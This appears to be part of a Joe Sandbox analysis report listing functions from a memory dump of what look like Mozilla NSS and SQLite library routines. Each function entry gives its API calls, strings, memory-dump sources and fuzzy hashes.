Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

vl, xrefs: 6C5EBDD7
winFileSize, xrefs: 6C5EBF07
Pvl, xrefs: 6C5EBED4

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

database corruption, xrefs: 6C5F7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
%s at line %d of [%.10s], xrefs: 6C5F7D2E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

database corruption, xrefs: 6C5E6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
%s at line %d of [%.10s], xrefs: 6C5E6D2F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
